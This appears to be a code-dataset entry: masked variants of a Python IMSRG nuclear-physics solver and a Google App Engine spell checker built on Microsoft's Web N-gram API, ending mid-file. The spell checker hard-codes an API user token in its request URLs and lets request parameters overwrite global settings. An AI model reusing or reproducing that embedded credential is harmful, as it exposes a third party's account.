"<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\n<function token>\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n",
"<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n",
"<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n",
"<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n",
"<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n",
"<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n"
] | false |
9,911 |
dbefca59376e567a6116dec4e07c44b1fe301ca9
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"<assignment token>\n"
] | false |
9,912 |
c8a6a8633f863e0350157346106a747096d26939
|
import re
import cgi
import os
import urllib
import urllib2
from time import sleep
from google.appengine.api import taskqueue
from google.appengine.ext import webapp
from google.appengine.ext.webapp.util import run_wsgi_app
from google.appengine.ext import db
from google.appengine.api import urlfetch
from google.appengine.api import backends
from google.appengine.api import logservice
logservice.AUTOFLUSH_EVERY_SECONDS = None
logservice.AUTOFLUSH_EVERY_BYTES = None
logservice.AUTOFLUSH_ENABLED = False
MONTH = "jun09"
NGRAM = "3"
PROB = "jp"
DATASET = "bing-body"
REQUESTURL = "http://web-ngram.research.microsoft.com/rest/lookup.svc/"+DATASET+"/"+MONTH+"/"+NGRAM+"/"+PROB+"?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e"
GENURL = "http://web-ngram.research.microsoft.com/rest/lookup.svc/"+DATASET+"/"+MONTH+"/"+NGRAM+"/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e"
class lexicon0(db.Model):
word = db.StringProperty(required = True)
known = db.StringListProperty(indexed = False)
def lexicon_key(lexicon_name=None):
return db.Key.from_path('lexicon0', lexicon_name or 'default')
def combination(wordlist,t):#argument t is to notify that it is the main query while using cobination for first time
tempc = wordlist
combinationqueryset = [listtostr(tempc[:i] +
["%s%s"%(tempc[i],tempc[i+1])] +
tempc[i+2:] ) for i in range(0, len(tempc)-1)]
cquery = listtostr(tempc)
combinationqueryset.append(cquery)
results = getjp1('',combinationqueryset,'')
dictionary = dict(results)
x = results.index((cquery,dictionary[cquery]))
if (t==0): t = dictionary[cquery]
if (results[0][0] == cquery):
return (cquery,results[0][1],t)
else:
dictionary = dict(results)
x = results.index((cquery,dictionary[cquery]))
y = list()
for i in range(x):
y.append(combinationqueryset.index(results[i][0]))
y.sort(reverse = True)
cache = wordlist
for z in y:
cache[z] += cache[z+1]
del cache[z+1]
return combination(cache,t)
def spacesplits(wordlist):
temps = wordlist
query = listtostr(temps)
strings = []
for i in range(len(temps)):
for y in range(1,len(temps[i])):
strings.append(listtostr(temps[:i]+list([temps[i][:y],temps[i][y:]])+temps[i+1:]))
strings.append(query)
results = getjp1('',strings,'')
if (results[0][0] == query):
return (query,results[0][1])
else:
return spacesplits(results[0][0].split())
def getjp(before,wordlist,after):
global REQUESTURL
wordli = wordlist
string = ''
for x in wordli:
string += before+" "+str(x)+" "+after+"\n"
string = string.strip()
jps = list()
jps = urllib2.urlopen(
urllib2.Request(REQUESTURL,str(string))).read().split()
for i in range(len(jps)):
jps[i] = float(jps[i])/(querylength(wordli[i]))
dictionary = dict(zip(wordli,jps))
return sorted(dictionary.iteritems(), key = lambda entity:entity[1], reverse = True)
def getjp1(before,wordlist,after):
global REQUESTURL
string = ''
for x in wordlist:
string += before+" "+str(x)+" "+after+"\n"
string = string.strip()
jps = list()
jps = urllib2.urlopen(
urllib2.Request(REQUESTURL,str(string))).read().split()
for i in range(len(jps)):
jps[i] = float(jps[i])
dictionary = dict(zip(wordlist,jps))
return sorted(dictionary.iteritems(), key = lambda entity:entity[1], reverse = True)
class mainpage(webapp.RequestHandler):
def get(self):
global MONTH,DATASET,NGRAM,PROB,REQUESTURL,GENURL
if len(self.request.get('m')):
MONTH = str(self.request.get('m'))
if len(self.request.get('d')):
DATASET = str(self.request.get('d'))
if len(self.request.get('ng')):
NGRAM = str(self.request.get('ng'))
if len(self.request.get('pp')):
PROB = str(self.request.get('pp'))
REQUESTURL = "http://web-ngram.research.microsoft.com/rest/lookup.svc/"+DATASET+"/"+MONTH+"/"+NGRAM+"/"+PROB+"?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e"
GENURL = "http://web-ngram.research.microsoft.com/rest/lookup.svc/"+DATASET+"/"+MONTH+"/"+NGRAM+"/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e"
query = str(self.request.get('q'))
wordlist = query.strip().split()
dictionary = dict()
try:
cquery = combination(wordlist,0)[0]
except:
cquery = query
try:
wordlist = query.strip().split()
squery = spacesplits(wordlist)[0]
except:
squery = query
try: dictionary.update(getdictionary(wordlist))
except:
dictionary.update({query:0})
try:
if (query != cquery): dictionary.update(getdictionary(cquery.split()))
except: dictionary.update({cquery:0})
try:
if (query != squery): dictionary.update(getdictionary(squery.split()))
except: dictionary.update({squery:0})
finallist = dictionary.keys()
self.response.headers['Content-Type'] = 'text/plain'
try:
result = getjp('',finallist,'')
final = list()
for i in range(len(result)):
final.append(10**((result[i][1])))
printresult = normalize(final)
for i in range(len(printresult)):
self.response.out.write(str(result[i][0])+"\t"+printresult[i]+"\n")
except:
self.response.out.write(query+"\t"+str(1))
class maintest(webapp.RequestHandler):
def get(self):
global MONTH,DATASET,NGRAM,PROB,REQUESTURL,GENURL
self.response.headers['Content-Type'] = 'text/plain'
self.response.out.write(REQUESTURL+"\n")
self.response.out.write(GENURL)
def getdictionary(wordelist):
global MONTH,DATASET,NGRAM,PROB
dictionaryy = dict()
rpcs = []
for i in range(len(wordelist)):
if i<3: t=0
else: t = i-3
form_fields = {
"word": wordelist[i],
"before": listtostr(wordelist[t:i]),
"after": listtostr(wordelist[i+1:i+4]),
"m": MONTH,
"d": DATASET,
"ng": NGRAM,
"pp": PROB
}
formdata = urllib.urlencode(form_fields)
rpc = urlfetch.create_rpc()
url = "http://timetest.forbackend.appspot.com/wordspellcheck"
#rpc.callback = create_callback(rpc)
urlfetch.make_fetch_call(rpc,
url,
payload = formdata,
method = urlfetch.POST)
rpcs.append(rpc)
resultts = list()
for rpc in rpcs:
result = rpc.get_result()
resultts.append(result.content)
#self.response.out.write(results)
#self.response.out.write(wordee)
dictionaryy[listtostr(wordelist)] = 0
for i in range(len(wordelist)):
if resultts[i] == wordelist[i]: continue
else:
for j in range(i,len(wordelist)+1):
pp = listtostr(wordelist[:i]+resultts[i:j]+wordelist[j:])
dictionaryy[pp] = 0
return dictionaryy
class splittest(webapp.RequestHandler):
def get(self):
query = self.request.get('q')
wordlist = query.split()
splitted = combination(wordlist,0)
self.response.out.write(splitted)
def querylength(query):
liste = query.split()
counte = 0
for x in liste:
if len(x)>1: counte += 1
if counte == 0: return 1
else: return counte
def listtostr(wordlist):
string = ''
for word in wordlist:
string += word+" "
string = string.strip()
return string
#def create_callback(rpc):
def normalize(problist):
tot = 0
for x in problist:
tot += x
returnlist = list()
for i in range(len(problist)):
returnlist.append(str(round((problist[i]/tot),3)))
return returnlist
application = webapp.WSGIApplication([
('/mainpage',maintest),#### the main speller is in main page web handler as i submitted maintest as the official submission i changed this
('/maintest',mainpage),
('/split',splittest)],
debug = True)
def main():
run_wsgi_app(application)
if __name__ == '__main__':
main()
|
[
"\n\nimport re\nimport cgi\nimport os\nimport urllib\nimport urllib2\n\nfrom time import sleep\n\nfrom google.appengine.api import taskqueue\nfrom google.appengine.ext import webapp\nfrom google.appengine.ext.webapp.util import run_wsgi_app\nfrom google.appengine.ext import db\nfrom google.appengine.api import urlfetch\nfrom google.appengine.api import backends\nfrom google.appengine.api import logservice\nlogservice.AUTOFLUSH_EVERY_SECONDS = None\nlogservice.AUTOFLUSH_EVERY_BYTES = None\nlogservice.AUTOFLUSH_ENABLED = False\n\nMONTH = \"jun09\"\nNGRAM = \"3\"\nPROB = \"jp\"\nDATASET = \"bing-body\"\nREQUESTURL = \"http://web-ngram.research.microsoft.com/rest/lookup.svc/\"+DATASET+\"/\"+MONTH+\"/\"+NGRAM+\"/\"+PROB+\"?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e\"\nGENURL = \"http://web-ngram.research.microsoft.com/rest/lookup.svc/\"+DATASET+\"/\"+MONTH+\"/\"+NGRAM+\"/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e\"\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required = True)\n known = db.StringListProperty(indexed = False)\n\ndef lexicon_key(lexicon_name=None):\n return db.Key.from_path('lexicon0', lexicon_name or 'default')\n\n\ndef combination(wordlist,t):#argument t is to notify that it is the main query while using cobination for first time\n tempc = wordlist\n combinationqueryset = [listtostr(tempc[:i] +\n [\"%s%s\"%(tempc[i],tempc[i+1])] +\n tempc[i+2:] ) for i in range(0, len(tempc)-1)]\n cquery = listtostr(tempc)\n combinationqueryset.append(cquery)\n results = getjp1('',combinationqueryset,'')\n dictionary = dict(results)\n x = results.index((cquery,dictionary[cquery]))\n if (t==0): t = dictionary[cquery]\n if (results[0][0] == cquery):\n return (cquery,results[0][1],t)\n else:\n dictionary = dict(results)\n x = results.index((cquery,dictionary[cquery]))\n y = list()\n for i in range(x):\n y.append(combinationqueryset.index(results[i][0]))\n y.sort(reverse = True)\n cache = wordlist\n for z in y:\n cache[z] += cache[z+1]\n del cache[z+1]\n return combination(cache,t)\n \ndef spacesplits(wordlist):\n temps = wordlist\n query = listtostr(temps)\n strings = []\n for i in range(len(temps)):\n for y in range(1,len(temps[i])):\n strings.append(listtostr(temps[:i]+list([temps[i][:y],temps[i][y:]])+temps[i+1:]))\n strings.append(query) \n results = getjp1('',strings,'')\n if (results[0][0] == query):\n return (query,results[0][1])\n else:\n return spacesplits(results[0][0].split())\n\n\n\ndef getjp(before,wordlist,after): \n global REQUESTURL\n wordli = wordlist\n string = ''\n for x in wordli:\n string += before+\" \"+str(x)+\" \"+after+\"\\n\"\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(\n urllib2.Request(REQUESTURL,str(string))).read().split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])/(querylength(wordli[i]))\n dictionary = dict(zip(wordli,jps))\n return sorted(dictionary.iteritems(), key = lambda entity:entity[1], reverse = True)\n\ndef getjp1(before,wordlist,after): \n global REQUESTURL\n string = ''\n for x in wordlist:\n string += before+\" \"+str(x)+\" \"+after+\"\\n\"\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(\n urllib2.Request(REQUESTURL,str(string))).read().split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])\n dictionary = dict(zip(wordlist,jps))\n return sorted(dictionary.iteritems(), key = lambda entity:entity[1], reverse = True)\n\nclass mainpage(webapp.RequestHandler):\n def get(self):\n global MONTH,DATASET,NGRAM,PROB,REQUESTURL,GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = \"http://web-ngram.research.microsoft.com/rest/lookup.svc/\"+DATASET+\"/\"+MONTH+\"/\"+NGRAM+\"/\"+PROB+\"?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e\" \n GENURL = \"http://web-ngram.research.microsoft.com/rest/lookup.svc/\"+DATASET+\"/\"+MONTH+\"/\"+NGRAM+\"/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e\"\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist,0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try: dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query:0})\n try:\n if (query != cquery): dictionary.update(getdictionary(cquery.split()))\n except: dictionary.update({cquery:0})\n try:\n if (query != squery): dictionary.update(getdictionary(squery.split()))\n except: dictionary.update({squery:0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('',finallist,'')\n final = list()\n for i in range(len(result)):\n final.append(10**((result[i][1])))\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0])+\"\\t\"+printresult[i]+\"\\n\")\n except:\n self.response.out.write(query+\"\\t\"+str(1))\n \n\n \nclass maintest(webapp.RequestHandler):\n def get(self):\n global MONTH,DATASET,NGRAM,PROB,REQUESTURL,GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL+\"\\n\")\n self.response.out.write(GENURL)\n \n\n\ndef getdictionary(wordelist):\n global MONTH,DATASET,NGRAM,PROB\n dictionaryy = dict()\n rpcs = []\n for i in range(len(wordelist)):\n if i<3: t=0\n else: t = i-3\n form_fields = {\n \"word\": wordelist[i],\n \"before\": listtostr(wordelist[t:i]),\n \"after\": listtostr(wordelist[i+1:i+4]),\n \"m\": MONTH,\n \"d\": DATASET,\n \"ng\": NGRAM,\n \"pp\": PROB\n }\n formdata = urllib.urlencode(form_fields)\n rpc = urlfetch.create_rpc()\n url = \"http://timetest.forbackend.appspot.com/wordspellcheck\"\n #rpc.callback = create_callback(rpc)\n urlfetch.make_fetch_call(rpc,\n url,\n payload = formdata,\n method = urlfetch.POST)\n rpcs.append(rpc)\n resultts = list()\n for rpc in rpcs:\n result = rpc.get_result()\n resultts.append(result.content)\n #self.response.out.write(results)\n #self.response.out.write(wordee)\n dictionaryy[listtostr(wordelist)] = 0\n for i in range(len(wordelist)):\n if resultts[i] == wordelist[i]: continue\n else:\n for j in range(i,len(wordelist)+1):\n pp = listtostr(wordelist[:i]+resultts[i:j]+wordelist[j:])\n dictionaryy[pp] = 0\n return dictionaryy\n\n \nclass splittest(webapp.RequestHandler):\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist,0)\n self.response.out.write(splitted)\n\ndef querylength(query):\n liste = query.split()\n counte = 0\n for x in liste:\n if len(x)>1: counte += 1\n if counte == 0: return 1\n else: return counte\n\ndef listtostr(wordlist):\n string = ''\n for word in wordlist:\n string += word+\" \"\n string = string.strip()\n return string\n#def create_callback(rpc):\n \ndef normalize(problist):\n tot = 0\n for x in problist:\n tot += x\n returnlist = list()\n for i in range(len(problist)):\n returnlist.append(str(round((problist[i]/tot),3)))\n return returnlist\n \napplication = webapp.WSGIApplication([\n ('/mainpage',maintest),#### the main speller is in main page web handler as i submitted maintest as the official submission i changed this\n ('/maintest',mainpage),\n ('/split',splittest)],\n debug = True)\n\ndef main():\n run_wsgi_app(application)\n\nif __name__ == '__main__':\n main()\n",
"import re\nimport cgi\nimport os\nimport urllib\nimport urllib2\nfrom time import sleep\nfrom google.appengine.api import taskqueue\nfrom google.appengine.ext import webapp\nfrom google.appengine.ext.webapp.util import run_wsgi_app\nfrom google.appengine.ext import db\nfrom google.appengine.api import urlfetch\nfrom google.appengine.api import backends\nfrom google.appengine.api import logservice\nlogservice.AUTOFLUSH_EVERY_SECONDS = None\nlogservice.AUTOFLUSH_EVERY_BYTES = None\nlogservice.AUTOFLUSH_ENABLED = False\nMONTH = 'jun09'\nNGRAM = '3'\nPROB = 'jp'\nDATASET = 'bing-body'\nREQUESTURL = ('http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\nGENURL = ('http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\ndef lexicon_key(lexicon_name=None):\n return db.Key.from_path('lexicon0', lexicon_name or 'default')\n\n\ndef combination(wordlist, t):\n tempc = wordlist\n combinationqueryset = [listtostr(tempc[:i] + ['%s%s' % (tempc[i], tempc\n [i + 1])] + tempc[i + 2:]) for i in range(0, len(tempc) - 1)]\n cquery = listtostr(tempc)\n combinationqueryset.append(cquery)\n results = getjp1('', combinationqueryset, '')\n dictionary = dict(results)\n x = results.index((cquery, dictionary[cquery]))\n if t == 0:\n t = dictionary[cquery]\n if results[0][0] == cquery:\n return cquery, results[0][1], t\n else:\n dictionary = dict(results)\n x = results.index((cquery, dictionary[cquery]))\n y = list()\n for i in range(x):\n y.append(combinationqueryset.index(results[i][0]))\n y.sort(reverse=True)\n cache = wordlist\n for z in y:\n cache[z] += cache[z + 1]\n del cache[z + 1]\n return combination(cache, t)\n\n\ndef spacesplits(wordlist):\n temps = wordlist\n query = listtostr(temps)\n strings = []\n for i in range(len(temps)):\n for y in range(1, len(temps[i])):\n strings.append(listtostr(temps[:i] + list([temps[i][:y], temps[\n i][y:]]) + temps[i + 1:]))\n strings.append(query)\n results = getjp1('', strings, '')\n if results[0][0] == query:\n return query, results[0][1]\n else:\n return spacesplits(results[0][0].split())\n\n\ndef getjp(before, wordlist, after):\n global REQUESTURL\n wordli = wordlist\n string = ''\n for x in wordli:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i]) / querylength(wordli[i])\n dictionary = dict(zip(wordli, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\ndef getjp1(before, wordlist, after):\n global REQUESTURL\n string = ''\n for x in wordlist:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])\n dictionary = dict(zip(wordlist, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n 